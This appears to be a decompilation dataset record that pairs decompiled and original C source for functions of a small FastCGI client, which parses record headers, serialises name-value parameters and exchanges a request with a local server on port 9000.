decompiled_code:
__int64 __fastcall fcgi_process_header(char a1, __int64 a2)
{
_BYTE *v2; // rdx
__int64 result; // rax

v2 = *(_BYTE **)a2;
switch ( *(_DWORD *)(a2 + 32) )
{
case 0:
*v2 = a1;
*(_DWORD *)(a2 + 32) = 1;
result = 1LL;
break;
case 1:
v2[1] = a1;
*(_DWORD *)(a2 + 32) = 2;
result = 1LL;
break;
case 2:
v2[2] = a1;
*(_DWORD *)(a2 + 32) = 3;
result = 1LL;
break;
case 3:
v2[3] = a1;
*(_DWORD *)(a2 + 32) = 4;
result = 1LL;
break;
case 4:
v2[4] = a1;
*(_DWORD *)(a2 + 32) = 5;
result = 1LL;
break;
case 5:
v2[5] = a1;
*(_DWORD *)(a2 + 32) = 6;
result = 1LL;
break;
case 6:
v2[6] = a1;
*(_DWORD *)(a2 + 32) = 7;
result = 1LL;
break;
case 7:
v2[7] = a1;
*(_DWORD *)(a2 + 32) = 8;
result = 1LL;
break;
case 8:
case 9:
case 0xA:
case 0xB:
result = 2LL;
break;
default:
result = 1LL;
break;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func5(char a1, __int64 a2)
{
_BYTE *v2; // rdx
__int64 result; // rax

v2 = *(_BYTE **)a2;
switch ( *(_DWORD *)(a2 + 32) )
{
case 0:
*v2 = a1;
*(_DWORD *)(a2 + 32) = 1;
result = 1LL;
break;
case 1:
v2[1] = a1;
*(_DWORD *)(a2 + 32) = 2;
result = 1LL;
break;
case 2:
v2[2] = a1;
*(_DWORD *)(a2 + 32) = 3;
result = 1LL;
break;
case 3:
v2[3] = a1;
*(_DWORD *)(a2 + 32) = 4;
result = 1LL;
break;
case 4:
v2[4] = a1;
*(_DWORD *)(a2 + 32) = 5;
result = 1LL;
break;
case 5:
v2[5] = a1;
*(_DWORD *)(a2 + 32) = 6;
result = 1LL;
break;
case 6:
v2[6] = a1;
*(_DWORD *)(a2 + 32) = 7;
result = 1LL;
break;
case 7:
v2[7] = a1;
*(_DWORD *)(a2 + 32) = 8;
result = 1LL;
break;
case 8:
case 9:
case 0xA:
case 0xB:
result = 2LL;
break;
default:
result = 1LL;
break;
}
return result;
}

original_code:
int fcgi_process_header(uchar ch,
        fcgi_record* rec){
    fcgi_header *h;
    fcgi_state *state = &(rec->state);
    h = rec->header;
    switch(*state){
        case fcgi_state_version:
            h->version = ch;
            *state = fcgi_state_type;
            break;
        case fcgi_state_type:
            h->type = ch;
            *state = fcgi_state_request_id_hi;
            break;
        case fcgi_state_request_id_hi:
            h->request_id_hi = ch;
            *state = fcgi_state_request_id_lo;
            break;
        case fcgi_state_request_id_lo:
            h->request_id_lo = ch;
            *state = fcgi_state_content_len_hi;
            break;
        case fcgi_state_content_len_hi:
            h->content_len_hi = ch;
            *state = fcgi_state_content_len_lo;
            break;
        case fcgi_state_content_len_lo:
            h->content_len_lo = ch;
            *state = fcgi_state_padding_len;
            break;
        case fcgi_state_padding_len:
            h->padding_len = ch;
            *state = fcgi_state_reserved;
            break;
        case fcgi_state_reserved:
            h->reserved = ch;
            *state = fcgi_state_content_begin;
            break;
        case fcgi_state_content_begin:
        case fcgi_state_content_proc:
        case fcgi_state_padding:
        case fcgi_state_done:
            return 2;
    }
    return 1;
}

canonical_original_code:
int fcgi_process_header(unsigned char ch, struct fcgi_record_ *rec){
    struct fcgi_header *h;
    enum fcgi_state *state = &(rec->state);
    h = rec->header;
    switch(*state){
        case fcgi_state_version:
            h->version = ch;
            *state = fcgi_state_type;
            break;
        case fcgi_state_type:
            h->type = ch;
            *state = fcgi_state_request_id_hi;
            break;
        case fcgi_state_request_id_hi:
            h->request_id_hi = ch;
            *state = fcgi_state_request_id_lo;
            break;
        case fcgi_state_request_id_lo:
            h->request_id_lo = ch;
            *state = fcgi_state_content_len_hi;
            break;
        case fcgi_state_content_len_hi:
            h->content_len_hi = ch;
            *state = fcgi_state_content_len_lo;
            break;
        case fcgi_state_content_len_lo:
            h->content_len_lo = ch;
            *state = fcgi_state_padding_len;
            break;
        case fcgi_state_padding_len:
            h->padding_len = ch;
            *state = fcgi_state_reserved;
            break;
        case fcgi_state_reserved:
            h->reserved = ch;
            *state = fcgi_state_content_begin;
            break;
        case fcgi_state_content_begin:
        case fcgi_state_content_proc:
        case fcgi_state_padding:
        case fcgi_state_done:
            return 2;
    }
    return 1;
}

variable_types:
ch
unsigned char

variable_types: enum fcgi_state { fcgi_state_version=0, fcgi_state_type=1, fcgi_state_request_id_hi=2, fcgi_state_request_id_lo=3, fcgi_state_content_len_hi=4, fcgi_state_content_len_lo=5, fcgi_state_padding_len=6, fcgi_state_reserved=7, fcgi_state_content_begin=8, fcgi_state_content_proc=9, fcgi_state_padding=10, fcgi_state_done=11 } *


repo: abhigna/fcgi-client

original_code:
int fcgi_process_content(uchar **beg_buf, uchar *end_buf,
       fcgi_record *rec){
    size_t tot_len, con_len, cpy_len, offset, nb = end_buf - *beg_buf;
    fcgi_state *state = &(rec->state);
    fcgi_header *h = rec->header;
    offset = rec->offset;
    if ( *state == fcgi_state_padding ){
        *state = fcgi_state_done;
        *beg_buf += (size_t) ((int)rec->length - (int)offset + (int)h->padding_len);
        return 2;
    }
    con_len = rec->length - offset;
    tot_len = con_len + h->padding_len;
    if(con_len <= nb)
        cpy_len = con_len;
    else
        cpy_len = nb;
    memcpy(rec->content + offset, *beg_buf, cpy_len);
    if(tot_len <= nb)
    {
        rec->offset += tot_len;
        *state = fcgi_state_done;
        *beg_buf += tot_len;
        return 2;
    }
    else if( con_len <= nb )
    {
        *state = fcgi_state_padding;
        rec->offset += nb;
        *beg_buf += nb;
        return 1;
    }
    else
    {
        rec->offset += nb;
        *beg_buf += nb;
        return 1;
    }
    return 0;
}

canonical_original_code:
int fcgi_process_content(unsigned char **beg_buf, unsigned char *end_buf, struct fcgi_record_ *rec){
    unsigned long tot_len; unsigned long con_len; unsigned long cpy_len; unsigned long offset; unsigned long nb = end_buf - *beg_buf;
    enum fcgi_state *state = &(rec->state);
    struct fcgi_header *h = rec->header;
    offset = rec->offset;
    if ( *state == fcgi_state_padding ){
        *state = fcgi_state_done;
        *beg_buf += (unsigned long) ((int)rec->length - (int)offset + (int)h->padding_len);
        return 2;
    }
    con_len = rec->length - offset;
    tot_len = con_len + h->padding_len;
    if(con_len <= nb)
        cpy_len = con_len;
    else
        cpy_len = nb;
    memcpy(rec->content + offset, *beg_buf, cpy_len);
    if(tot_len <= nb)
    {
        rec->offset += tot_len;
        *state = fcgi_state_done;
        *beg_buf += tot_len;
        return 2;
    }
    else if( con_len <= nb )
    {
        *state = fcgi_state_padding;
        rec->offset += nb;
        *beg_buf += nb;
        return 1;
    }
    else
    {
        rec->offset += nb;
        *beg_buf += nb;
        return 1;
    }
    return 0;
}

variable_types: struct fcgi_record_ { struct fcgi_header { unsigned char version; unsigned char type; unsigned char request_id_hi; unsigned char request_id_lo; unsigned char content_len_hi; unsigned char content_len_lo; unsigned char padding_len; unsigned char reserved; } *header; void *content; unsigned long offset; enum fcgi_state { fcgi_state_version=0, fcgi_state_type=1, fcgi_state_request_id_hi=2, fcgi_state_request_id_lo=3, fcgi_state_content_len_hi=4, fcgi_state_content_len_lo=5, fcgi_state_padding_len=6, fcgi_state_reserved=7, fcgi_state_content_begin=8, fcgi_state_content_proc=9, fcgi_state_padding=10, fcgi_state_done=11 } state; struct fcgi_record_ *next; } *

variable_types:
offset
unsigned long

variable_types:
nb
unsigned long

return_type: int

user_defined_types: struct fcgi_record_ { struct fcgi_header *header; void *content; unsigned long offset; enum fcgi_state state; struct fcgi_record_ *next; }


decompiled_code:
__int64 __fastcall fcgi_process_record(char **a1, __int64 a2, __int64 a3)
{
unsigned int v4; // eax
__int64 result; // rax
__int64 v6; // rax
unsigned int v7; // eax

while ( 1 )
{
v4 = *(_DWORD *)(a3 + 32);
if ( v4 > 7 )
break;
result = fcgi_process_header(**a1, a3);
if ( (_DWORD)result == 3 )
return result;
v6 = (__int64)(*a1 + 1);
*a1 = (char *)v6;
if ( v6 == a2 )
return 1LL;
}
if ( v4 == 8 )
{
v7 = fcgi_header_get_content_len(*(_QWORD *)a3);
*(_QWORD *)(a3 + 24) = v7;
*(_QWORD *)(a3 + 8) = malloc(v7);
*(_DWORD *)(a3 + 32) = 9;
}
return fcgi_process_content((const void **)a1, a2, (__int64 *)a3);
}

canonical_decompiled_code:
__int64 __fastcall func7(char **a1, __int64 a2, __int64 a3)
{
unsigned int v4; // eax
__int64 result; // rax
__int64 v6; // rax
unsigned int v7; // eax

while ( 1 )
{
v4 = *(_DWORD *)(a3 + 32);
if ( v4 > 7 )
break;
result = func5(**a1, a3);
if ( (_DWORD)result == 3 )
return result;
v6 = (__int64)(*a1 + 1);
*a1 = (char *)v6;
if ( v6 == a2 )
return 1LL;
}
if ( v4 == 8 )
{
v7 = func3(*(_QWORD *)a3);
*(_QWORD *)(a3 + 24) = v7;
*(_QWORD *)(a3 + 8) = malloc(v7);
*(_DWORD *)(a3 + 32) = 9;
}
return func6((const void **)a1, a2, (__int64 *)a3);
}

original_code:
int fcgi_process_record(uchar **beg_buf, uchar *end_buf, fcgi_record *rec){
        int rv;
        while(rec->state < fcgi_state_content_begin)
        {
            if((rv = fcgi_process_header(**beg_buf, rec)) == 3)
                    return 3;
            (*beg_buf)++;
            if( *beg_buf == end_buf )
                return 1;
        }
        if(rec->state == fcgi_state_content_begin)
        {
           rec->length = fcgi_header_get_content_len(rec->header);
           rec->content = malloc(rec->length);
           rec->state++;
        }
        return fcgi_process_content(beg_buf, end_buf, rec);
}

canonical_original_code:
int fcgi_process_record(unsigned char **beg_buf, unsigned char *end_buf, struct fcgi_record_ *rec){
        int rv;
        while(rec->state < fcgi_state_content_begin)
        {
            if((rv = fcgi_process_header(**beg_buf, rec)) == 3)
                    return 3;
            (*beg_buf)++;
            if( *beg_buf == end_buf )
                return 1;
        }
        if(rec->state == fcgi_state_content_begin)
        {
           rec->length = fcgi_header_get_content_len(rec->header);
           rec->content = malloc(rec->length);
           rec->state++;
        }
        return fcgi_process_content(beg_buf, end_buf, rec);
}

variable_types: rv int

user_defined_types: enum fcgi_state { fcgi_state_version=0, fcgi_state_type=1, fcgi_state_request_id_hi=2, fcgi_state_request_id_lo=3, fcgi_state_content_len_hi=4, fcgi_state_content_len_lo=5, fcgi_state_padding_len=6, fcgi_state_reserved=7, fcgi_state_content_begin=8, fcgi_state_content_proc=9, fcgi_state_padding=10, fcgi_state_done=11 }

user_defined_types: struct fcgi_header { unsigned char version; unsigned char type; unsigned char request_id_hi; unsigned char request_id_lo; unsigned char content_len_hi; unsigned char content_len_lo; unsigned char padding_len; unsigned char reserved; }


decompiled_code:
int __fastcall fcgi_process_buffer(char *a1, char *a2, __int64 *a3)
{
__int64 v4; // rbx
_QWORD *v5; // rax
__int64 v6; // rax
unsigned __int64 v7; // r12
char *v9; // [rsp+8h] [rbp-30h] BYREF

v9 = a1;
if ( !*a3 )
*a3 = (__int64)fcgi_record_create();
v4 = *a3;
do
{
if ( *(_DWORD *)(v4 + 32) == 11 )
{
v5 = fcgi_record_create();
*a3 = (__int64)v5;
v5[5] = v4;
v4 = (__int64)v5;
}
LODWORD(v6) = fcgi_process_record(&v9, (__int64)a2, v4);
if ( (_DWORD)v6 == 2 )
{
v6 = *(_QWORD *)v4;
if ( *(_BYTE *)(*(_QWORD *)v4 + 1LL) == 6 )
{
if ( *(_QWORD *)(v4 + 24) )
{
v7 = 0LL;
do
LODWORD(v6) = fputc(*(unsigned __int8 *)(*(_QWORD *)(v4 + 8) + v7++), stdout);
while ( *(_QWORD *)(v4 + 24) > v7 );
}
}
}
}
while ( v9 != a2 );
return v6;
}

original_code:
void fcgi_process_buffer(uchar *beg_buf, uchar *end_buf,
       fcgi_record_list** head){
    fcgi_record* tmp, *h;
    size_t i;
    if(*head == ((void *)0))
        *head = fcgi_record_create();
    h = *head;
    while(1)
    {
        if( h->state == fcgi_state_done )
        {
            tmp = h;
            *head = fcgi_record_create();
            h = *head;
            h->next = tmp;
        }
       if( fcgi_process_record(&beg_buf, end_buf, h) == 2 ){
           if(h->header->type == 6)
                for(i=0;i < h->length; i++)
                    fprintf(stdout, "%c", ((uchar *)h->content)[i]);
       }
        if ( beg_buf == end_buf )
            return;
    }
}

canonical_original_code:
void fcgi_process_buffer(unsigned char *beg_buf, unsigned char *end_buf, struct fcgi_record_ **head){
    struct fcgi_record_ *tmp; struct fcgi_record_ *h;
    unsigned long i;
    if(*head == ((void *)0))
        *head = fcgi_record_create();
    h = *head;
    while(1)
    {
        if( h->state == fcgi_state_done )
        {
            tmp = h;
            *head = fcgi_record_create();
            h = *head;
            h->next = tmp;
        }
       if( fcgi_process_record(&beg_buf, end_buf, h) == 2 ){
           if(h->header->type == 6)
                for(i=0;i < h->length; i++)
                    fprintf(stdout, "%c", ((unsigned char *)h->content)[i]);
       }
        if ( beg_buf == end_buf )
            return;
    }
}

variable_types: struct fcgi_record_ { struct fcgi_header { unsigned char version; unsigned char type; unsigned char request_id_hi; unsigned char request_id_lo; unsigned char content_len_hi; unsigned char content_len_lo; unsigned char padding_len; unsigned char reserved; } *header; void *content; unsigned long offset; enum fcgi_state { fcgi_state_version=0, fcgi_state_type=1, fcgi_state_request_id_hi=2, fcgi_state_request_id_lo=3, fcgi_state_content_len_hi=4, fcgi_state_content_len_lo=5, fcgi_state_padding_len=6, fcgi_state_reserved=7, fcgi_state_content_begin=8, fcgi_state_content_proc=9, fcgi_state_padding=10, fcgi_state_done=11 } state; struct fcgi_record_ *next; } **

variable_types:
i
unsigned long

return_type: void


serialize

decompiled_code:
void *__fastcall serialize(void *a1, const void *a2, size_t a3)
{
return memcpy(a1, a2, a3);
}

canonical_decompiled_code:
void *__fastcall func9(void *a1, const void *a2, size_t a3)
{
return memcpy(a1, a2, a3);
}

original_code:
void serialize(uchar* buffer, void *st, size_t size){
   memcpy(buffer, st, size);
}

canonical_original_code:
void serialize(unsigned char *buffer, void *st, unsigned long size){
   memcpy(buffer, st, size);
}

variable_types:
buffer
unsigned char *

variable_types:
st
void *

variable_types:
size
unsigned long


decompiled_code:
signed __int64 __fastcall serialize_name_value(unsigned int *a1, const char **a2)
{
unsigned int v2; // ebp
unsigned int v3; // ebx
unsigned int *v4; // rax
char *v5; // r14
char *v6; // rbp

v2 = strlen(*a2);
v3 = strlen(a2[1]);
if ( v2 > 0x7F )
{
*a1 = v2;
v4 = a1 + 1;
}
else
{
v4 = (unsigned int *)((char *)a1 + 1);
*(_BYTE *)a1 = v2;
}
if ( v3 > 0x7F )
{
*v4 = v3;
v5 = (char *)(v4 + 1);
}
else
{
v5 = (char *)v4 + 1;
*(_BYTE *)v4 = v3;
}
memcpy(v5, *a2, v2);
v6 = &v5[v2];
memcpy(v6, a2[1], v3);
return &v6[v3] - (char *)a1;
}

canonical_decompiled_code:
signed __int64 __fastcall func10(unsigned int *a1, const char **a2)
{
unsigned int v2; // ebp
unsigned int v3; // ebx
unsigned int *v4; // rax
char *v5; // r14
char *v6; // rbp

v2 = strlen(*a2);
v3 = strlen(a2[1]);
if ( v2 > 0x7F )
{
*a1 = v2;
v4 = a1 + 1;
}
else
{
v4 = (unsigned int *)((char *)a1 + 1);
*(_BYTE *)a1 = v2;
}
if ( v3 > 0x7F )
{
*v4 = v3;
v5 = (char *)(v4 + 1);
}
else
{
v5 = (char *)v4 + 1;
*(_BYTE *)v4 = v3;
}
memcpy(v5, *a2, v2);
v6 = &v5[v2];
memcpy(v6, a2[1], v3);
return &v6[v3] - (char *)a1;
}

original_code:
uint32_t serialize_name_value(uchar* buffer, fcgi_name_value* nv){
    uchar *p = buffer;
    uint32_t nl, vl;
    nl = strlen(nv->name);
    vl = strlen(nv->value);
    if( nl < 128 )
        *p++ = ((nl) & 0xff);
    else
    {
        *p++ = ((nl) & 0xff);
        *p++ = ((nl)>>8 & 0xff);
        *p++ = ((nl)>>16 & 0xff);
        *p++ = ((nl)>>24 & 0xff);
    }
    if ( vl < 128 )
        *p++ = ((vl) & 0xff);
    else
    {
        *p++ = ((vl) & 0xff);
        *p++ = ((vl)>>8 & 0xff);
        *p++ = ((vl)>>16 & 0xff);
        *p++ = ((vl)>>24 & 0xff);
    }
    memcpy(p, nv->name, nl);
    p+=nl;
    memcpy(p, nv->value, vl);
    p+= vl;
    return p - buffer;
}

canonical_original_code:
unsigned int serialize_name_value(unsigned char *buffer, struct fcgi_name_value *nv){
    unsigned char *p = buffer;
    unsigned int nl; unsigned int vl;
    nl = strlen(nv->name);
    vl = strlen(nv->value);
    if( nl < 128 )
        *p++ = ((nl) & 0xff);
    else
    {
        *p++ = ((nl) & 0xff);
        *p++ = ((nl)>>8 & 0xff);
        *p++ = ((nl)>>16 & 0xff);
        *p++ = ((nl)>>24 & 0xff);
    }
    if ( vl < 128 )
        *p++ = ((vl) & 0xff);
    else
    {
        *p++ = ((vl) & 0xff);
        *p++ = ((vl)>>8 & 0xff);
        *p++ = ((vl)>>16 & 0xff);
        *p++ = ((vl)>>24 & 0xff);
    }
    memcpy(p, nv->name, nl);
    p+=nl;
    memcpy(p, nv->value, vl);
    p+= vl;
    return p - buffer;
}

variable_types: struct fcgi_name_value { char *name; } *

variable_types:
p
unsigned char *

variable_types:
nl
unsigned int

variable_types:
vl
unsigned int

return_type: unsigned int


decompiled_code:
int __fastcall print_bytes(unsigned __int8 *a1, int a2)
{
unsigned __int8 *v2; // rbx

putchar(123);
if ( a2 > 0 )
{
v2 = a1;
do
printf("%02X.", *v2++);
while ( v2 != &a1[a2 - 1 + 1] );
}
return puts("}");
}

canonical_decompiled_code:
int __fastcall func11(unsigned __int8 *a1, int a2)
{
unsigned __int8 *v2; // rbx

putchar(123);
if ( a2 > 0 )
{
v2 = a1;
do
printf("%02X.", *v2++);
while ( v2 != &a1[a2 - 1 + 1] );
}
return puts("}");
}

original_code:
void print_bytes(uchar *buf, int n){
    int i;
    printf("{");
    for(i=0;i<n;i++)
        printf("%02X.", buf[i]);
    printf("}\n");
}

canonical_original_code:
void print_bytes(unsigned char *buf, int n){
    int i;
    printf("{");
    for(i=0;i<n;i++)
        printf("%02X.", buf[i]);
    printf("}\n");
}

variable_types:
buf
unsigned char *

variable_types: n int

variable_types: i int


decompiled_code:
__int64 __fastcall fcgi_connect(int *a1)
{
int v1; // eax
unsigned int v2; // er12
struct addrinfo *v3; // rbx
int v4; // eax
int v5; // ebp
const char *v7; // rax
struct addrinfo *pai; // [rsp+8h] [rbp-60h] BYREF
struct addrinfo req; // [rsp+10h] [rbp-58h] BYREF

*(_QWORD *)&req.ai_flags = 0LL;
*(_QWORD *)&req.ai_socktype = 1LL;
*(_QWORD *)&req.ai_addrlen = 0LL;
req.ai_addr = 0LL;
req.ai_canonname = 0LL;
req.ai_next = 0LL;
v1 = getaddrinfo("127.0.0.1", "9000", &req, &pai);
v2 = v1;
if ( v1 )
{
v7 = gai_strerror(v1);
fprintf(stderr, "getaddrinfo: %s\n", v7);
return 1;
}
v3 = pai;
if ( !pai )
{
LABEL_10:
fwrite("client: failed to connect\n", 1uLL, 0x1AuLL, stderr);
return 2;
}
while ( 1 )
{
v4 = socket(v3->ai_family, v3->ai_socktype, v3->ai_protocol);
v5 = v4;
if ( v4 != -1 )
break;
perror("client: socket");
LABEL_9:
v3 = v3->ai_next;
if ( !v3 )
goto LABEL_10;
}
if ( connect(v4, v3->ai_addr, v3->ai_addrlen) == -1 )
{
close(v5);
perror("client: connect");
goto LABEL_9;
}
freeaddrinfo(pai);
*a1 = v5;
return v2;
}

canonical_decompiled_code:
__int64 __fastcall func0(int *a1)
{
int v1; // eax
unsigned int v2; // er12
struct addrinfo *v3; // rbx
int v4; // eax
int v5; // ebp
const char *v7; // rax
struct addrinfo *pai; // [rsp+8h] [rbp-60h] BYREF
struct addrinfo req; // [rsp+10h] [rbp-58h] BYREF

*(_QWORD *)&req.ai_flags = 0LL;
*(_QWORD *)&req.ai_socktype = 1LL;
*(_QWORD *)&req.ai_addrlen = 0LL;
req.ai_addr = 0LL;
req.ai_canonname = 0LL;
req.ai_next = 0LL;
v1 = getaddrinfo("127.0.0.1", "9000", &req, &pai);
v2 = v1;
if ( v1 )
{
v7 = gai_strerror(v1);
fprintf(stderr, "getaddrinfo: %s\n", v7);
return 1;
}
v3 = pai;
if ( !pai )
{
LABEL_10:
fwrite("client: failed to connect\n", 1uLL, 0x1AuLL, stderr);
return 2;
}
while ( 1 )
{
v4 = socket(v3->ai_family, v3->ai_socktype, v3->ai_protocol);
v5 = v4;
if ( v4 != -1 )
break;
perror("client: socket");
LABEL_9:
v3 = v3->ai_next;
if ( !v3 )
goto LABEL_10;
}
if ( connect(v4, v3->ai_addr, v3->ai_addrlen) == -1 )
{
close(v5);
perror("client: connect");
goto LABEL_9;
}
freeaddrinfo(pai);
*a1 = v5;
return v2;
}

original_code:
int fcgi_connect(int *sock){
    int sockfd;
    struct addrinfo hints, *servinfo, *p;
    int rv;
    memset(&hints, 0, sizeof hints);
    hints.ai_family = 0;
    hints.ai_socktype = SOCK_STREAM;
    if ((rv = getaddrinfo("127.0.0.1", "9000", &hints, &servinfo)) != 0) {
        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
        return 1;
    }
    for(p = servinfo; p != ((void *)0); p = p->ai_next) {
        if ((sockfd = socket(p->ai_family, p->ai_socktype,
                p->ai_protocol)) == -1) {
            perror("client: socket");
            continue;
        }
        if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
            close(sockfd);
            perror("client: connect");
            continue;
        }
        break;
    }
    if (p == ((void *)0)) {
        fprintf(stderr, "client: failed to connect\n");
        return 2;
    }
    freeaddrinfo(servinfo);
    *sock = sockfd;
    return 0;
}

canonical_original_code:
int fcgi_connect(int *sock){
    int sockfd;
    struct addrinfo hints; struct addrinfo *servinfo; struct addrinfo *p;
    int rv;
    memset(&hints, 0, sizeof hints);
    hints.ai_family = 0;
    hints.ai_socktype = SOCK_STREAM;
    if ((rv = getaddrinfo("127.0.0.1", "9000", &hints, &servinfo)) != 0) {
        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
        return 1;
    }
    for(p = servinfo; p != ((void *)0); p = p->ai_next) {
        if ((sockfd = socket(p->ai_family, p->ai_socktype,
                p->ai_protocol)) == -1) {
            perror("client: socket");
            continue;
        }
        if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
            close(sockfd);
            perror("client: connect");
            continue;
        }
        break;
    }
    if (p == ((void *)0)) {
        fprintf(stderr, "client: failed to connect\n");
        return 2;
    }
    freeaddrinfo(servinfo);
    *sock = sockfd;
    return 0;
}

variable_types:
sock
int *

variable_types: sockfd int

variable_types: struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; unsigned int ai_addrlen; struct sockaddr { unsigned short sa_family; char sa_data[14]; } *ai_addr; char *ai_canonname; struct addrinfo *ai_next; } *

user_defined_types: struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; unsigned int ai_addrlen; struct sockaddr *ai_addr; char *ai_canonname; struct addrinfo *ai_next; }


decompiled_code:
int __fastcall simple_session_1(int a1)
{
_QWORD *v1; // rbx
char *v2; // r14
char *v3; // r15
char **v4; // rbx
char **v5; // r13
char **v6; // rbp
int v7; // er12
char *v8; // rbp
int v9; // eax
__int64 i; // rax
char *buf; // [rsp+10h] [rbp-58h]
__int64 v13; // [rsp+18h] [rbp-50h]
__int64 v14[8]; // [rsp+28h] [rbp-40h] BYREF

v1 = (_QWORD *)create_begin_request(1LL);
v2 = (char *)malloc(0x1388uLL);
buf = (char *)malloc(0x1388uLL);
serialize(buf, *v1, 8LL);
serialize(buf + 8, v1[1], 8LL);
v3 = buf + 16;
v13 = create_header(4LL, 1LL);
v4 = nvs;
v5 = (char **)(unsigned int)((_DWORD)nvs + 432);
v6 = nvs;
v7 = 0;
do
{
v7 += serialize_name_value(v3, v6);
v6 += 2;
}
while ( v6 != v5 );
*(_BYTE *)(v13 + 5) = v7;
*(_BYTE *)(v13 + 4) = BYTE1(v7);
serialize(v3, v13, 8LL);
v8 = buf + 24;
do
{
v8 += (int)serialize_name_value(v8, v4);
v4 += 2;
}
while ( v4 != v5 );
*(_BYTE *)(v13 + 5) = 0;
*(_BYTE *)(v13 + 4) = 0;
serialize(v8, v13, 8LL);
if ( send(a1, buf, v8 + 8 - buf, 0) == -1 )
{
perror("send");
LODWORD(i) = close(a1);
}
else
{
v14[0] = 0LL;
while ( 1 )
{
v9 = recv(a1, v2, 0x1387uLL, 0);
if ( v9 == -1 )
{
perror("recv");
exit(1);
}
if ( !v9 )
break;
fcgi_process_buffer(v2, &v2[v9], v14);
}
for ( i = v14[0]; i; i = *(_QWORD *)(i + 40) )
;
}
return i;
}

canonical_decompiled_code:
int __fastcall func1(int a1)
{
_QWORD *v1; // rbx
char *v2; // r14
char *v3; // r15
char **v4; // rbx
char **v5; // r13
char **v6; // rbp
int v7; // er12
char *v8; // rbp
int v9; // eax
__int64 i; // rax
char *buf; // [rsp+10h] [rbp-58h]
__int64 v13; // [rsp+18h] [rbp-50h]
__int64 v14[8]; // [rsp+28h] [rbp-40h] BYREF

v1 = (_QWORD *)create_begin_request(1LL);
v2 = (char *)malloc(0x1388uLL);
buf = (char *)malloc(0x1388uLL);
serialize(buf, *v1, 8LL);
serialize(buf + 8, v1[1], 8LL);
v3 = buf + 16;
v13 = create_header(4LL, 1LL);
v4 = nvs;
v5 = (char **)(unsigned int)((_DWORD)nvs + 432);
v6 = nvs;
v7 = 0;
do
{
v7 += serialize_name_value(v3, v6);
v6 += 2;
}
while ( v6 != v5 );
*(_BYTE *)(v13 + 5) = v7;
*(_BYTE *)(v13 + 4) = BYTE1(v7);
serialize(v3, v13, 8LL);
v8 = buf + 24;
do
{
v8 += (int)serialize_name_value(v8, v4);
v4 += 2;
}
while ( v4 != v5 );
*(_BYTE *)(v13 + 5) = 0;
*(_BYTE *)(v13 + 4) = 0;
serialize(v8, v13, 8LL);
if ( send(a1, buf, v8 + 8 - buf, 0) == -1 )
{
perror("send");
LODWORD(i) = close(a1);
}
else
{
v14[0] = 0LL;
while ( 1 )
{
v9 = recv(a1, v2, 0x1387uLL, 0);
if ( v9 == -1 )
{
perror("recv");
exit(1);
}
if ( !v9 )
break;
fcgi_process_buffer(v2, &v2[v9], v14);
}
for ( i = v14[0]; i; i = *(_QWORD *)(i + 40) )
;
}
return i;
}

original_code:
void simple_session_1(int sockfd){
    uint16_t req_id = 1;
    uint16_t len=0;
    int nb, i;
    unsigned char *p, *buf, *rbuf;
    fcgi_header* head;
    fcgi_begin_request* begin_req = create_begin_request(req_id);
    rbuf = malloc(5000);
    buf = malloc(5000);
    p = buf;
    serialize(p, begin_req->header, sizeof(fcgi_header));
    p += sizeof(fcgi_header);
    serialize(p, begin_req->body, sizeof(fcgi_begin_request_body));
    p += sizeof(fcgi_begin_request_body);
    head = create_header(4, req_id);
    len = 0;
    for(i = 0; i< 27; i++) {
        nb = serialize_name_value(p, &nvs[i]);
        len += nb;
    }
    head->content_len_lo = ((len) & 0xff);
    head->content_len_hi = ((len)>>8 & 0xff);
    serialize(p, head, sizeof(fcgi_header));
    p += sizeof(fcgi_header);
    for(i = 0; i< 27; i++) {
        nb = serialize_name_value(p, &nvs[i]);
        p += nb;
    }
    head->content_len_lo = 0;
    head->content_len_hi = 0;
    serialize(p, head, sizeof(fcgi_header));
    p += sizeof(fcgi_header);
    if (send(sockfd, buf, p-buf, 0) == -1){
            perror("send");
            close(sockfd);
            return;
    }
    fcgi_record_list *rlst = ((void *)0), *rec;
    while(1){
        if ((nb = recv(sockfd, rbuf, 5000 -1, 0)) == -1) {
            perror("recv");
            exit(1);
        }
        if(nb == 0)
            break;
        fcgi_process_buffer(rbuf, rbuf+(size_t)nb, &rlst);
    }
    for(rec=rlst; rec!=((void *)0); rec=rec->next)
    {
    }
}

canonical_original_code:
void simple_session_1(int sockfd){
    unsigned short req_id = 1;
    unsigned short len = 0;
    int nb; int i;
    unsigned char *p; unsigned char *buf; unsigned char *rbuf;
    struct fcgi_header *head;
    struct fcgi_begin_request *begin_req = create_begin_request(req_id);
    rbuf = malloc(5000);
    buf = malloc(5000);
    p = buf;
    serialize(p, begin_req->header, sizeof(fcgi_header));
    p += sizeof(fcgi_header);
    serialize(p, begin_req->body, sizeof(fcgi_begin_request_body));
    p += sizeof(fcgi_begin_request_body);
    head = create_header(4, req_id);
    len = 0;
    for(i = 0; i< 27; i++) {
        nb = serialize_name_value(p, &nvs[i]);
        len += nb;
    }
    head->content_len_lo = ((len) & 0xff);
    head->content_len_hi = ((len)>>8 & 0xff);
    serialize(p, head, sizeof(fcgi_header));
    p += sizeof(fcgi_header);
    for(i = 0; i< 27; i++) {
        nb = serialize_name_value(p, &nvs[i]);
        p += nb;
    }
    head->content_len_lo = 0;
    head->content_len_hi = 0;
    serialize(p, head, sizeof(fcgi_header));
    p += sizeof(fcgi_header);
    if (send(sockfd, buf, p-buf, 0) == -1){
            perror("send");
            close(sockfd);
            return;
    }
    struct fcgi_record_ *rlst = ((void *)0); struct fcgi_record_ *rec;
    while(1){
        if ((nb = recv(sockfd, rbuf, 5000 -1, 0)) == -1) {
            perror("recv");
            exit(1);
        }
        if(nb == 0)
            break;
        fcgi_process_buffer(rbuf, rbuf+(unsigned long)nb, &rlst);
    }
    for(rec=rlst; rec!=((void *)0); rec=rec->next)
    {
    }
}

variable_types:
len
unsigned short

variable_types: nb int

variable_types:
rbuf
unsigned char *

